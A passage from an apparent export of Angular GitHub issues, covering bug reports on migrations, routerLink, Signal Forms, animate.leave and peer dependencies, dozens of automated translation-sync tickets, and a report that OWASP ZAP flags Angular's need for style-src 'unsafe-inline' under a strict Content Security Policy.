  ,
})
```

This is an invalid decorator and breaks formatting and compilation. The bug is caused by incomplete removal of the comma after the property is deleted. See the source: `packages/core/schematics/ng-generate/ngclass-to-class-migration/util.ts`, function `getPropertyRemovalRange`.

### Expected behavior

When the migration removes the last element of the `imports` array, it should remove the entire property and any trailing comma, resulting in:

```typescript
@Component({
  ...
})
```

### Please provide a link to a minimal reproduction of the bug

- Use a standalone component with `imports: [CommonModule],` as the last property
- Run `ng generate @angular/core:ngclass-to-class` to migrate
- Observe the dangling comma in the output

### Please provide the exception or error you saw

```true
None (the output is a syntax error in TypeScript, not a runtime exception)
```

### Please provide the environment you discovered t... [TRUNCATED]","area: core,gemini-triaged",2026-03-11T21:51:46Z,2026-03-19T01:09:15Z,4
angular/angular,4060593781,New routerLink implementation breaks customizations,"### Which @angular/* package(s) are the source of the bug?

core, router

### Is this a regression?

Yes

### Description

I'm unsure on whether to call this a bug, but in case it's not, is there a workaround for this issue I'm getting? 

My company has a multi-tenant product, and all of the urls in our product have an id to identify the customer we have selected. To avoid putting an extra queryParam in every `routerLink`, we created our own `myRouterLink` like this:

```typescript
@Directive({
    selector: ""[myRouterLink]"",
    standalone: false
})
export class MyRouterLinkDirective extends RouterLink {

    @Input()
    set myRouterLink(commands: any[] | string | null | undefined) {
        super.routerLink = commands;
    }

    get urlTree(): UrlTree {
        const { myCustId } = this.activatedRoute.snapshot.queryParams;

        const urlTree = super.urlTree;
        urlTree.queryParams.myCustId = myCustId;
        return urlTree;
    }
}
```

This had been working fine for several versions of Angular, even in Angular 20. But in Angular 21, [this commit](https://github.com/angular/angular/commit/89d47d814de1e57c0b64ff1167ce9f86c518c670) changed the implementation, even though `urlTree` still exists, it is no longer invoked by `onClick`, instead `onClick` invokes `_urlTree` which is marked as `@internal` so Angular's compiler wouldn't let me override it:

## Before
```typescript
  @HostListener('click', [ ... ])
  onClick( ... ): boolean {
    const urlTree = this.urlTr... [TRUNCATED]","area: router,gemini-triaged",2026-03-11T20:49:20Z,2026-03-11T22:38:36Z,7
angular/angular,4059031393,Signal Forms: working with arrays not working with ngFor,"### Which @angular/* package(s) are the source of the bug?

forms, common

### Is this a regression?

No

### Description

Having a signal forms with arrays in the model doesn't seems to work with ngFor.

Error in the console: `TypeError: Cannot convert object to primitive value`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-h5gekyer?description=An%20angular-cli%20project%20based%20on%20@angular/animations,%20@angular/common,%20@angular/compiler,%20@angular/core,%20@angular/forms,%20@angular/platform-browser,%20@angular/platform-browser-dynamic,%20@angular/router,%20core-js,%20rxjs,%20tslib%20and%20zone.js&file=src%2Fmain.ts&template=node&title=Angular%20Starter

### Please provide the exception or error you saw

```true
With ngFor: `TypeError: Cannot convert object to primitive value`

With @for: Working fine.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.0            │ ^21.1.0           │
│ @angular/cli              │ 21.1.0            │ ^21.1.0           │
│ @angular/common    ... [TRUNCATED]","area: forms,gemini-triaged",2026-03-11T15:46:17Z,2026-03-11T16:15:08Z,3
angular/angular,4058733319,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/navigation-item.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/navigation-item.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:32Z,2026-03-11T14:55:57Z,1
angular/angular,4058733201,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/index.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/index.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:30Z,2026-03-11T14:56:05Z,1
angular/angular,4058733054,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/example-viewer-content-loader.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/example-viewer-content-loader.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:28Z,2026-03-11T14:56:32Z,1
angular/angular,4058732793,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/environment.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/environment.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:27Z,2026-03-11T14:56:09Z,1
angular/angular,4058732663,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/docs-content-loader.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/docs-content-loader.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:25Z,2026-03-11T14:56:12Z,1
angular/angular,4058732385,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/doc-content.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/doc-content.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:24Z,2026-03-11T14:56:22Z,1
angular/angular,4058732257,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/code-example.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/code-example.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:23Z,2026-03-11T14:56:18Z,1
angular/angular,4058732149,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/algolia-config.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/algolia-config.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:21Z,2026-03-11T14:56:28Z,1
angular/angular,4058731802,🔄 Translation 21.0.3: `adev/shared-docs/directives/search-item/search-item.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/search-item/search-item.directive.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:19Z,2026-03-11T14:56:40Z,1
angular/angular,4058731676,🔄 Translation 21.0.3: `adev/shared-docs/directives/index.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/index.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:18Z,2026-03-11T14:56:42Z,1
angular/angular,4058731543,🔄 Translation 21.0.3: `adev/shared-docs/directives/external-link/external-link.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/external-link/external-link.directive.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:16Z,2026-03-11T14:57:06Z,1
angular/angular,4058731402,🔄 Translation 21.0.3: `adev/shared-docs/directives/click-outside/click-outside.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/click-outside/click-outside.directive.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:14Z,2026-03-11T14:57:04Z,1
angular/angular,4058731093,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/example-viewer/example-viewer.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/example-viewer/example-viewer.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:13Z,2026-03-11T14:57:02Z,1
angular/angular,4058730953,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/example-viewer/example-viewer.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/example-viewer/example-viewer.component.html),"area: i18n,gemini-triaged",2026-03-11T14:55:11Z,2026-03-11T14:57:01Z,1
angular/angular,4058730825,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/docs-viewer/docs-viewer.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/docs-viewer/docs-viewer.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:09Z,2026-03-11T14:56:49Z,1
angular/angular,4058730683,🔄 Translation 21.0.3: `adev/shared-docs/components/top-level-banner/top-level-banner.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/top-level-banner/top-level-banner.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:08Z,2026-03-11T14:56:59Z,1
angular/angular,4058730523,🔄 Translation 21.0.3: `adev/shared-docs/components/top-level-banner/top-level-banner.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/top-level-banner/top-level-banner.component.html),"area: i18n,gemini-triaged",2026-03-11T14:55:06Z,2026-03-11T14:57:18Z,1
angular/angular,4058730391,🔄 Translation 21.0.3: `adev/shared-docs/components/text-field/text-field.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/text-field/text-field.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:05Z,2026-03-11T14:57:19Z,1
angular/angular,4058730294,🔄 Translation 21.0.3: `adev/shared-docs/components/text-field/text-field.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/text-field/text-field.component.html),"area: i18n,gemini-triaged",2026-03-11T14:55:03Z,2026-03-11T14:57:16Z,1
angular/angular,4058730103,🔄 Translation 21.0.3: `adev/shared-docs/components/table-of-contents/table-of-contents.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/table-of-contents/table-of-contents.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:55:02Z,2026-03-11T14:57:37Z,1
angular/angular,4058729847,🔄 Translation 21.0.3: `adev/shared-docs/components/table-of-contents/table-of-contents.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/table-of-contents/table-of-contents.component.html),"area: i18n,gemini-triaged",2026-03-11T14:55:00Z,2026-03-11T14:57:38Z,1
angular/angular,4058729721,🔄 Translation 21.0.3: `adev/shared-docs/components/tab-group/tab-group.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/tab-group/tab-group.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:59Z,2026-03-11T14:57:40Z,1
angular/angular,4058729585,🔄 Translation 21.0.3: `adev/shared-docs/components/tab-group/tab-group.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/tab-group/tab-group.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:57Z,2026-03-11T14:57:42Z,1
angular/angular,4058729176,🔄 Translation 21.0.3: `adev/shared-docs/components/slide-toggle/slide-toggle.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/slide-toggle/slide-toggle.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:56Z,2026-03-11T14:57:44Z,1
angular/angular,4058729029,🔄 Translation 21.0.3: `adev/shared-docs/components/slide-toggle/slide-toggle.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/slide-toggle/slide-toggle.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:54Z,2026-03-11T14:57:46Z,1
angular/angular,4058728915,🔄 Translation 21.0.3: `adev/shared-docs/components/select/select.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/select/select.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:53Z,2026-03-11T14:58:00Z,1
angular/angular,4058728792,🔄 Translation 21.0.3: `adev/shared-docs/components/select/select.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/select/select.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:51Z,2026-03-11T14:58:02Z,1
angular/angular,4058728646,🔄 Translation 21.0.3: `adev/shared-docs/components/search-history/search-history.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-history/search-history.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:50Z,2026-03-11T14:58:04Z,1
angular/angular,4058728524,🔄 Translation 21.0.3: `adev/shared-docs/components/search-history/search-history.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-history/search-history.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:48Z,2026-03-11T14:58:06Z,1
angular/angular,4058728362,🔄 Translation 21.0.3: `adev/shared-docs/components/search-dialog/search-dialog.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-dialog/search-dialog.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:47Z,2026-03-11T14:58:15Z,1
angular/angular,4058728219,🔄 Translation 21.0.3: `adev/shared-docs/components/search-dialog/search-dialog.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/search-dialog/search-dialog.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:45Z,2026-03-11T14:58:08Z,1
angular/angular,4058728067,🔄 Translation 21.0.3: `adev/shared-docs/components/navigation-list/navigation-list.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/navigation-list/navigation-list.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:44Z,2026-03-11T14:59:03Z,1
angular/angular,4058727957,🔄 Translation 21.0.3: `adev/shared-docs/components/navigation-list/navigation-list.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/navigation-list/navigation-list.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:42Z,2026-03-11T14:59:01Z,1
angular/angular,4058727826,🔄 Translation 21.0.3: `adev/shared-docs/components/index.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/index.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:41Z,2026-03-11T14:59:05Z,1
angular/angular,4058727467,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:38Z,2026-03-11T14:58:59Z,1
angular/angular,4058727344,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-source-code-button/copy-source-code-button.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:37Z,2026-03-11T14:59:21Z,1
angular/angular,4058727057,🔄 Translation 21.0.3: `adev/shared-docs/components/copy-link-anchor/copy-link-anchor.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/copy-link-anchor/copy-link-anchor.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:35Z,2026-03-11T14:59:23Z,1
angular/angular,4058726894,🔄 Translation 21.0.3: `adev/shared-docs/components/cookie-popup/cookie-popup.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/cookie-popup/cookie-popup.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:33Z,2026-03-11T14:59:25Z,1
angular/angular,4058726790,🔄 Translation 21.0.3: `adev/shared-docs/components/cookie-popup/cookie-popup.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/cookie-popup/cookie-popup.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:32Z,2026-03-11T14:59:27Z,1
angular/angular,4058726650,🔄 Translation 21.0.3: `adev/shared-docs/components/breadcrumb/breadcrumb.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/breadcrumb/breadcrumb.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:30Z,2026-03-11T14:59:29Z,1
angular/angular,4058726498,🔄 Translation 21.0.3: `adev/shared-docs/components/breadcrumb/breadcrumb.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/breadcrumb/breadcrumb.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:29Z,2026-03-11T14:59:32Z,1
angular/angular,4058726331,🔄 Translation 21.0.3: `adev/shared-docs/components/algolia-icon/algolia-icon.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/algolia-icon/algolia-icon.component.ts),"area: i18n,gemini-triaged",2026-03-11T14:54:27Z,2026-03-11T14:59:34Z,1
angular/angular,4058726115,🔄 Translation 21.0.3: `adev/shared-docs/components/algolia-icon/algolia-icon.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/algolia-icon/algolia-icon.component.html),"area: i18n,gemini-triaged",2026-03-11T14:54:25Z,2026-03-11T14:59:36Z,1
angular/angular,4058725847,🔄 Translation 21.0.3: `adev/scripts/update-cross-repo-docs/README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/scripts/update-cross-repo-docs/README.md),"area: i18n,gemini-triaged",2026-03-11T14:54:23Z,2026-03-11T14:58:47Z,1
angular/angular,4058725695,🔄 Translation 21.0.3: `adev/README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/README.md),"area: i18n,gemini-triaged",2026-03-11T14:54:22Z,2026-03-11T14:58:49Z,1
angular/angular,4058725585,🔄 Translation 21.0.3: `SECURITY.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/SECURITY.md),"area: i18n,gemini-triaged",2026-03-11T14:54:21Z,2026-03-11T14:59:38Z,1
angular/angular,4058725453,🔄 Translation 21.0.3: `README.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/README.md),"area: i18n,gemini-triaged",2026-03-11T14:54:19Z,2026-03-11T14:58:44Z,1
angular/angular,4058725322,🔄 Translation 21.0.3: `CONTRIBUTING.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CONTRIBUTING.md),"area: i18n,gemini-triaged",2026-03-11T14:54:18Z,2026-03-11T14:58:42Z,1
angular/angular,4058725059,🔄 Translation 21.0.3: `CODE_OF_CONDUCT.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CODE_OF_CONDUCT.md),"area: i18n,gemini-triaged",2026-03-11T14:54:16Z,2026-03-11T14:58:40Z,1
angular/angular,4058724947,🔄 Translation 21.0.3: `CHANGELOG_ARCHIVE.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CHANGELOG_ARCHIVE.md),"area: i18n,gemini-triaged",2026-03-11T14:54:15Z,2026-03-11T14:58:38Z,1
angular/angular,4058724813,🔄 Translation 21.0.3: `CHANGELOG.md`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/CHANGELOG.md),"area: i18n,gemini-triaged",2026-03-11T14:54:13Z,2026-03-11T14:58:36Z,1
angular/angular,4053700924,Change detection stops working on Cordova,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

Yes

### Description

When you use Ionic with native plugins, Angular can't detect changes.

Then wrap it with a callback or updates in NgZone, and it will work again when you call run().

Please suggest any global solution is available


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-03-10T19:13:57Z,2026-03-10T19:34:42Z,3
angular/angular,4053261879,[Canonical]: Prevent animate.leave from firing on route navigations,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

When we added nested animation support in https://github.com/angular/angular/pull/66848, it eliminated the confusion from many people that child animations didn't fire. Now we're receiving the opposite feedback, particularly with route navigations, where understandably, users don't always want child animations to fire. We need a mechanism for preventing this behavior other than CSS specificity.

","area: core,core: animations",2026-03-10T17:41:44Z,2026-03-12T16:58:06Z,13
angular/angular,4052735485,BrowserUrl not working with popstate events,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

The <code>browserUrl</code> property in the router navigation extras allows to display a different URL in the address bar than the one used for route matching. The problem is that when using the popstate triggers (back and forward buttons), the router is using the URL in the address bar and not the router's internal state, causing the route matching to fail to match with the same previously matched route.

**Expected result**
When using a custom <code>browserUrl</code>, the route matching strategy should match against the router internal state rather than the given <code>browserUrl</code> value (URL in the address bar).

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-rmvgyk2x

### Please provide the exception or error you saw

```true
ERROR RuntimeError: NG04002: Cannot match any routes. URL Segment: 'missing-item'
    at Recognizer.noMatchError (_router-chunk.mjs:2813:12)
    at Recognizer.match (_router-chunk.mjs:2847:20)
    at async Recognizer.recognize (_router-chunk.mjs:2820:9)
    at async _router-chunk.mjs:3076:9
console.error @ .webcontainer@runtime.056788dd.js:26
handleError @ _effect-chunk2.mjs:2601
(anonymous) @ _effect-chunk2.mjs:2617
runOutsideAngular @ _effect-chunk2.mjs:2576
(anonymous) @ _effect-chunk2.mjs:2610
(anonymous) @ _router-chunk.mjs:4259
Promise.catch
navigateToSyncWithBr... [TRUNCATED]","area: router,gemini-triaged",2026-03-10T16:00:26Z,2026-04-20T23:46:27Z,2
angular/angular,4052320767,Conflicting Peer Dependency,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Since upgrading to Angular 21, there have been intermittent angular peer dependency issues on build. These seem to resolve on their own within a few days. We are not able to `--force` in our Bitbucket pipeline to get around this.

### Please provide a link to a minimal reproduction of the bug

https://2qe7wq8m.stackblitz.io

#### package.json
```json
  ""dependencies"": {
    ""@angular/animations"": ""^21.1.2"",
    ""@angular/build"": ""^21.1.2"",
    ""@angular/cdk"": ""^21.1.2"",
    ""@angular/cli"": ""^21.1.2"",
    ""@angular/common"": ""^21.1.2"",
    ""@angular/compiler"": ""^21.1.2"",
    ""@angular/core"": ""^21.1.2"",
    ""@angular/forms"": ""^21.1.2"",
    ""@angular/material"": ""^21.1.2"",
    ""@angular/platform-browser"": ""^21.1.2"",
    ""@angular/router"": ""^21.1.2"",
    ""rxjs"": ""~7.8.1"",
    ""tslib"": ""^2.0.0"",
    ""uuid"": ""9.0.0"",
    ""zone.js"": ""~0.15.0""
  },
  ""devDependencies"": {
    ""@angular-builders/jest"": ""^21.0.3"",
    ""@angular/compiler-cli"": ""^21.1.2"",
    ""@angular/language-service"": ""^21.1.2"",
    ""@types/jest"": ""~30.0.0"",
    ""@types/node"": ""24.10.9"",
    ""jest"": ""~30.2.0"",
    ""ts-node"": ""~10.9.2"",
    ""tslint"": ""~6.1.0"",
    ""typescript"": ""~5.9.3""
  }
```

### Please provide the exception or error you saw

```true
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: example-app@0.0.0
npm error Found: @angular/core@21.1.2
npm ... [TRUNCATED]","area: core,gemini-triaged",2026-03-10T14:49:02Z,2026-03-11T19:41:37Z,8
angular/angular,4052291646,animate.leave in Angular 21.2.0,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

in Angular 21.1.0 when you route to a new page didn't dispatch the animate.leave
in Angular 22.2.0 is dispatched, so, instead of navigate to the new component, first execute the animation

https://stackblitz.com/edit/stackblitz-starters-5ecgke18?file=package.json (Angular 21.2.0) <--KO
https://stackblitz.com/edit/stackblitz-starters-mq8dpgik?file=package.json (angular 21.1.0) <--OK

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-5ecgke18?file=package.json

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64
```

### Anything else?

Come from this SO:https://stackoverflow.com/questions/79903928/stop-animations-firing-when-navigating-away-from-a-page","area: animations,gemini-triaged",2026-03-10T14:44:11Z,2026-03-10T17:42:57Z,4
angular/angular,4046871881,The child element is removed with animation when the parent is removed from the DOM,"### Which @angular/* package(s) are the source of the bug?


### Is this a regression?

Yes

### Description

When the parent element is removed from the DOM (via `@if` or page navigation), the child elements with `[animate.leave]` directives trigger their animations. According to the Angular documentation, this should not happen - only the element with the animation directive should animate when it is explicitly removed.

## Current Behaviour
-  The child element is removed with animation when the parent is removed via page navigation.

## Expected Behaviour
- The child animation should only trigger when the child element itself is removed via its own `@if` condition, not from page navigation or removing the parent with `@if` in the parent.
- This is stated in the documentation: https://angular.dev/guide/animations#element-removal-order-matters
- The example given in the above documentation is also not working as expected.


### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations#element-removal-order-matters

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

We are using new `animate.enter` and `animate.leave` APIs instead of using deprecated `@angular/animations` package as mentioned in `https://github.com/angular/angular/issues/36530`","area: animations,gemini-triaged",2026-03-09T17:20:07Z,2026-03-09T17:47:07Z,1
angular/angular,4046044008,animate.leave firing even though parent is removed first,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I was just looking at how `animate.leave` works, and was reading the web page [here](https://angular.dev/guide/animations).

<img width=""750"" height=""208"" alt=""Image"" src=""https://github.com/user-attachments/assets/6c4985d3-9dec-4fda-bec5-1b5489cd709f"" />

This suggests that the animation effect should not fire when the parent is removed, however, when you use the example provided, the child animation is still firing.

This is what I'm seeing in my own application as well.

Either the documentation is out of date or this is a bug.

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,core: animations",2026-03-09T14:47:36Z,2026-03-09T22:03:10Z,3
angular/angular,4045652284,Angular CSP compatibility issue: OWASP ZAP reports style-src 'unsafe-inline' as security vulnerability,"### Which @angular/* package(s) are the source of the bug?

core, platform-browser

### Is this a regression?

No

### Description

When deploying an Angular application with a strict Content Security Policy (CSP), Angular component styles fail to load unless style-src 'unsafe-inline' is enabled.

However, security scanning tools such as OWASP ZAP report this configuration as a security vulnerability.

This creates a challenge for organizations that must comply with strict security policies because Angular applications currently require unsafe-inline for styles to function correctly.

### **Security Scanner Warning (OWASP ZAP)**

During security testing using OWASP ZAP, the following warning is reported:

**Alert:**
CSP: style-src unsafe-inline

**Risk**: Medium

**Description**:
  Content Security Policy (CSP) includes unsafe-inline in the style-src directive.
  Allowing inline styles may increase the risk of Cross-Site Scripting (XSS) attacks.
  Evidence example:
  Content-Security-Policy:
  default-src 'self';
  style-src 'self' 'unsafe-inline';
  script-src 'self';
  img-src 'self' data: https:;
  connect-src 'self';
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

OWASP ZAP flags this policy because unsafe-inline is considered insecure

### **Angular Behavior**

Angular injects component styles dynamically at runtime using <style> elements similar to:
